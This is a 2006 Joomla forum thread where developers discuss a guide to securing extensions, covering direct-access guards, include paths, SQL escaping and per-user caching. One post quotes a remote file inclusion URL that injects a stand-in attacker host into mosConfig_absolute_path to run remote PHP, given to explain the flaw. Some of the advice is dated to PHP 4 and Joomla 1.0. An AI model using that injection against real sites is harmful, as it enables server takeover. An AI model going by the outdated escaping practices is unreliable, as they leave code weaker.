Joomla!
http://forum.joomla.org/

Discussion: Guide to more secure Components/Modules/Plugins...
http://forum.joomla.org/viewtopic.php?f=296&t=78784
Page 1 of 1

Author:  brad [ Fri Jul 21, 2006 4:29 am ]
Post subject:  Discussion: Guide to more secure Components/Modules/Plugins...

Discuss: http://forum.joomla.org/index.php/topic,78781.0.html

Author:  trompete [ Fri Jul 21, 2006 5:05 am ]
Post subject:  Re: Discussion: Guide to more secure Components/Modules/Plugins...

Thank you. Thank you. Thank you.

I'll gradually be migrating the external entry points (RSS, cron jobs) of my 3rd-party components to the no_html syntax. Free time is the limiting factor for us 3PDs, of course.

Author:  troyDoogle7 [ Fri Aug 04, 2006 5:19 pm ]
Post subject:  writing secure modules

I have just looked at one of the online guides that has the flollowing quote (listed below)  I need to know if I should put

include( $mosConfig_absolute_path . '/components/com_yourcomponent/yourcomponent.class.php' ); at the top of my module code (obviously referring to the module file name)


2. Secure your software against remote file inclusion
Now imagine, you have a line like this one in your code:
Code:

include( $mosConfig_absolute_path . '/components/com_yourcomponent/yourcomponent.class.php' );


Furthermore, imagine that a cracker tries to access your file as
Quote
http:/ /www.example.com/components/com_yourcomponent/yourcomponent.php?mosConfig_absolute_path=http://www.bad.site/bad.gif?
and actually sends back executable PHP code under the filename of that image. That code then is executed (assuming that register_globals is switched on in your webserver, which unfortunaltely is the case for many people) in your or your customers webserver with the permissions of the webserver. The attacker can do anything he wants to do (and what the webserver is allowed for) on your webserver! This is called remote file inclusion. Unfortunately, this is something even script kiddies can do easily.
There are also some more advanced technics out there that allow for remote file inclusion in some PHP versions even if you have switched register_globals off. Remote file inclusion only works on systems that have the PHP setting allow_url_fopen switched to on. But as this option is needed by many "good" programs as well, switching it off is not always a good idea.


Author:  friesengeist [ Fri Aug 04, 2006 5:28 pm ]
Post subject:  Re: writing secure modules

troyDoogle7 wrote:
I have just looked at one of the online guides that has the flollowing quote (listed below)  I need to know if I should put

include( $mosConfig_absolute_path . '/components/com_yourcomponent/yourcomponent.class.php' ); at the top of my module code (obviously referring to the module file name)


Sorry, guess I don't understand your question fully. Do you need the class file in your module? Otherwise, you don't need that line. It's important to have this one:
Code:
defined( '_VALID_MOS' ) or die( 'Restricted access' );


That line needs to be on top of everything else. You must not use something like
Code:
include( $mosConfig_absolute_path . '/components/com_yourcomponent/yourcomponent.class.php' );

at the top of your file. If you need it, put it after the "defined(...) or die(...)" statement.

Author:  troyDoogle7 [ Sat Aug 05, 2006 1:51 am ]
Post subject:  Re: Discussion: Guide to more secure Components/Modules/Plugins...

Hi thanks for answering.  Let me try to rephrase... I my english is not so great either!

In the article below it detials procedure to create a component.  I want to create a standalone module that I can add to the front page on the site. must I include this in the module header? 
include( $mosConfig_absolute_path . '/module/mod_yourmodulename/your module.php' );

( I am not creating a component, or working with a component. Its pureley a standalone module.)

Does taht make better sense?

Author:  friesengeist [ Sun Aug 06, 2006 2:17 pm ]
Post subject:  Re: Discussion: Guide to more secure Components/Modules/Plugins...

troyDoogle7 wrote:
In the article below it detials procedure to create a component.  I want to create a standalone module that I can add to the front page on the site. must I include this in the module header? 
include( $mosConfig_absolute_path . '/module/mod_yourmodulename/your module.php' );

( I am not creating a component, or working with a component. Its pureley a standalone module.)


If you don't have any external files which you need in your module, you don't need that line. Your module itself will be called by Joomla! when published on the according page. You only need to include files that have external functions you need, e.g. in a component when you have separated a few functions into external files to keep the main file clean and short ;)

Author:  troyDoogle7 [ Sun Aug 06, 2006 3:15 pm ]
Post subject:  Re: Discussion: Guide to more secure Components/Modules/Plugins...

do image files count as an external file or only external php files.  The module has an image on it and some text description( its a signup for my newsletter module using oempro)

Author:  friesengeist [ Sun Aug 06, 2006 3:23 pm ]
Post subject:  Re: Discussion: Guide to more secure Components/Modules/Plugins...

troyDoogle7 wrote:
do image files count as an external file or only external php files.  The module has an image on it and some text description( its a signup for my newsletter module using oempro)


All files which you include by using functions like: include, include_once, require, require_once...
But I guess you probably don't include an image like this, but rather show it by the html tag?

Author:  josoroma [ Wed Aug 09, 2006 8:36 pm ]
Post subject:  Re: Discussion: Guide to more secure Components/Modules/Plugins...

I was reading a lot the post:
http://forum.joomla.org/index.php/topic,78781.0.html
This is the most perfect guide that i ever found about
developing with Joomla :)

But still I am a little lost with respect to:

#1
When is necesarry to use mosMakeHtmlSafe($row); in some component.html.php?
is it better than use $value = htmlspecialchars( $value ); ?

#2
For example, in some component class:

class myComponentClass {

    var $integer = ;
    var $string = ;
    var $array = ;
    var $boolean = ;
    var $date = ;
    ...

Which is the best way to initialize this types of variables?
Which is the best way to sanitize before SQL statements?

Any comment or help is welcome.
Thanx in advanced everybody.

Author:  friesengeist [ Wed Aug 09, 2006 10:08 pm ]
Post subject:  Re: Discussion: Guide to more secure Components/Modules/Plugins...

josoroma wrote:
But still I am a little lost with respect to:

#1
When is necesarry to use mosMakeHtmlSafe($row); in some component.html.php?
is it better than use $value = htmlspecialchars( $value ); ?


If you have just a single variable (a string), then you should use htmlspecialchars().
mosMakeHtmlSafe() applies htmlspecialchars() to each variable of an object. Therefore you can use it best on objects, if you need to put most of the entries through htmlspecialchars() anyway.

josoroma wrote:
#2
For example, in some component class:

class myComponentClass {

    var $integer = ;
    var $string = ;
    var $array = ;
    var $boolean = ;
    var $date = ;
    ...

Which is the best way to initialize this types of variables?
Which is the best way to sanitize before SQL statements?


Here is how I would initialize them:
Code:
var $integer    = 0;
var $string     = '';
var $array      = null;
var $boolean    = false;
var $date    = ???; // Depends: empty string for date in stringformat,
                        // null for a datetime object, 0 (integer) for unix timestamp.


If you have a class that extends mosDBTable, and if you just use $row->load, $row->bind, $row->store etc., you don't need to do any escaping by yourself, the mosDBTable class takes care of that.

If you do SQL queries by yourself, you need to escape every single variable which you use.
Let's assume you have string variable that comes in though mosGetParam( $_POST, 'my_var' ):
Code:
$myVar = mosGetParam( $_POST, 'my_var' );
/*
  * This is the important stuff: escape the string by the databases function.
  * addslashes is in some (rare) circumstances not enough. That's why we first call
  * stripslashes() (to get rid of the slashes from mosGetParam(), which automatically adds slashes)
  * and then call $databse->getEscaped();
  */
$myVar = stripSlashes( $myVar );
$myVar = $database->getEscaped( $myVar );
$query = "SELECT * FROM #__table WHERE name = '$myVar'";
$database->setQuery( $query ); // etc...


For intergers, it's enough to call intval() before you use the variable in a query:
Code:
$myInt = intval( $myInt );
$query = "SELECT * FROM #__table WHERE some_id = $myInt";
$database->setQuery( $query ); // etc...


Does this answer your questions?

Author:  josoroma [ Wed Aug 09, 2006 10:27 pm ]
Post subject:  Re: Discussion: Guide to more secure Components/Modules/Plugins...

friesengeist wrote:
Does this answer your questions?


100% man!!!
Thanx

Author:  josoroma [ Fri Aug 11, 2006 11:05 am ]
Post subject:  Re: Discussion: Guide to more secure Components/Modules/Plugins...

Now im losted with two new questions:

#1
Which are the basic rules to use and test SEF Advanced while a developer is creating a component or module?

#2
Which are the basic rules to use and test Cache while a developer is creating a component or module?


Thanks in advanced.

Author:  Hummerbie [ Sat Aug 12, 2006 6:55 am ]
Post subject:  Re: Discussion: Guide to more secure Components/Modules/Plugins...

Mabye I missed something, but I can't find anything in the forum that requests or adviseses developers to NOT give a component version number in the frontend !!

It is now easy for a hacker/cracker to find out if the version you are running is vunerably ore not...its indexed in Google

So my request to developers is a simpel one to start with?

Please do'nt display a version number in the frontend, only in the back end....

Author:  friesengeist [ Sun Aug 13, 2006 4:15 pm ]
Post subject:  Re: Discussion: Guide to more secure Components/Modules/Plugins...

josoroma wrote:
#1
Which are the basic rules to use and test SEF Advanced while a developer is creating a component or module?


Do you mean the 3PD component SEF Advanced, or the Joomla! core SEF?
For SEF Advanced, I have no clue. For the Joomla! core SEF, just use sefRelToAbs() instead of echoing out the URL directly. Nothing special I can think of here in terms of security.

josoroma wrote:
#2
Which are the basic rules to use and test Cache while a developer is creating a component or module?


Make sure your extension works with both: cache on and off. Make sure to log in as different users and only display the appropriate content for the logged in user. This can be achieved by passing $my->gid (group id) to the caching function. If you don't do this, it could happen that a registered user creates a cached item, and a guest then sees the cached results, meaning the information for people with registered accounts.

Author:  friesengeist [ Sun Aug 13, 2006 4:21 pm ]
Post subject:  Re: Discussion: Guide to more secure Components/Modules/Plugins...

Hummerbie wrote:
Mabye I missed something, but I can't find anything in the forum that requests or adviseses developers to NOT give a component version number in the frontend !!

It is now easy for a hacker/cracker to find out if the version you are running is vunerably ore not...its indexed in Google

So my request to developers is a simpel one to start with?

Please do'nt display a version number in the frontend, only in the back end....


Thanks very much for this hint, I will include it in the guide and the development wiki (as soon as time permits, might be a few days). You are absolutely right on this one, I just forgot about it. ;)

Author:  anetus [ Tue Aug 29, 2006 2:27 pm ]
Post subject:  Re: Discussion: Guide to more secure Components/Modules/Plugins...

First - thank you friesengeist for great job putting together the guidelines !

Then question, to clearify:
if a component is secured against direct access (has defined( '_VALID_MOS' )  line at the beginning of each file)
then is it safe to use $mosConfig_absolute_path in includes ?

I know it's better to use constants (good practice as you said):
Code:
define( 'YOURBASEPATH', dirname(__FILE__) );
require_once( YOURBASEPATH . '/file_to_include.php' );

but that works only for files in component's folder, doesn't it ?

Is there a way to use constants to refer to media folders, like /images/stories ?

cheers
Konrad

Author:  friesengeist [ Wed Aug 30, 2006 8:36 pm ]
Post subject:  Re: Discussion: Guide to more secure Components/Modules/Plugins...

anetus wrote:
Then question, to clearify:
if a component is secured against direct access (has defined( '_VALID_MOS' )  line at the beginning of each file)
then is it safe to use $mosConfig_absolute_path in includes ?


For 1.0.x, this is common practice, and as long as $mosConfig_absolute_path does not become overwritten by e.g. some insecure SEF extensions, there is nothing wrong with that.

anetus wrote:
I know it's better to use constants (good practice as you said):
Code:
define( 'YOURBASEPATH', dirname(__FILE__) );
require_once( YOURBASEPATH . '/file_to_include.php' );

but that works only for files in component's folder, doesn't it ?

Is there a way to use constants to refer to media folders, like /images/stories ?


If you already have the base path of your Joomla! installation (J! 1.5 defines some path constants), then you can just use that. E.g.:
Code:
include( JPATH_ROOT . DS . 'images' . DS . 'stories' . DS . 'file.php' );


For 1.0.x, this should work (not tested ;)):
Code:
$parts = explode( DIRECTORY_SEPARATOR, dirname( __file__) );
array_pop( $parts ); // assuming that you are in /componets/com_yourcomponent/xyz.php, this will strip
array_pop( $parts ); // "/components" and "/com_yourcomponent" away from the path.
define( 'YOURBASEPATH', implode( DIRECTORY_SEPARATOR, $parts ) );
include( YOURBASEPATH . DS . 'images' . DS . 'stories' . DS . 'file.php' );

Author:  mookiha [ Sat Sep 09, 2006 8:10 pm ]
Post subject:  Re: Discussion: Guide to more secure Components/Modules/Plugins...

In your previous post...
Quote:
Also, it is a bad practice to access variables like this (read resource [5.4] for more technical details):
Code:
Code:
echo $GLOBALS['varname'];

You should rather use this:
Code:
Code:
global $varname;
echo $varname;


I see this throughout the Joomla core:
Code:
require_once( $GLOBALS['mosConfig_absolute_path'] . '/administrator/includes/pageNavigation.php' );

Is that ok?

Author:  friesengeist [ Sun Sep 10, 2006 9:48 am ]
Post subject:  Re: Discussion: Guide to more secure Components/Modules/Plugins...

mookiha wrote:
In your previous post...
Quote:
Also, it is a bad practice to access variables like this (read resource [5.4] for more technical details):
[...]


I see this throughout the Joomla core:
Code:
require_once( $GLOBALS['mosConfig_absolute_path'] . '/administrator/includes/pageNavigation.php' );

Is that ok?


It's OK as long as the file is included by Joomla!. Joomla!'s globals.php takes care of all the security issues that were caused by PHP.
If you are running an up-to-date PHP version, you are safe anyway, the PHP hole was fixed (if I remember correctly) in 4.4.1 and 5.0.5.

The problem is, that under certain circumstances, a visitor was able to make $var and $GLOBALS['var'] a diffrent thing. So if you initialized a variable outside of a function as "$var = 'test';", and then inside of a function, you used it as $GLOBALS['var'], it could hold something different than 'test'.

Author:  peltia [ Thu Sep 14, 2006 3:11 pm ]
Post subject:  Re: Discussion: Guide to more secure Components/Modules/Plugins...

Would it be more secure to use $_SERVER['DOCUMENT_ROOT'] instead of $mosConfig_absolute_path ?

Author:  Dangerous Boy [ Mon Oct 02, 2006 4:16 am ]
Post subject:  Not a constructive comment....

woow! now I know why I can't get in to my JCE Configuration panel! grrrrrr!!! everytime I click on JCE Configuration I get a Alert Message Restricted Access and now I now why!... grrrrrrr!!!

Author:  Jin597 [ Mon Oct 02, 2006 5:42 am ]
Post subject:  Re: Discussion: Guide to more secure Components/Modules/Plugins...

So what was the solution for this?

Page 1 of 1 All times are UTC
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
http://www.phpbb.com/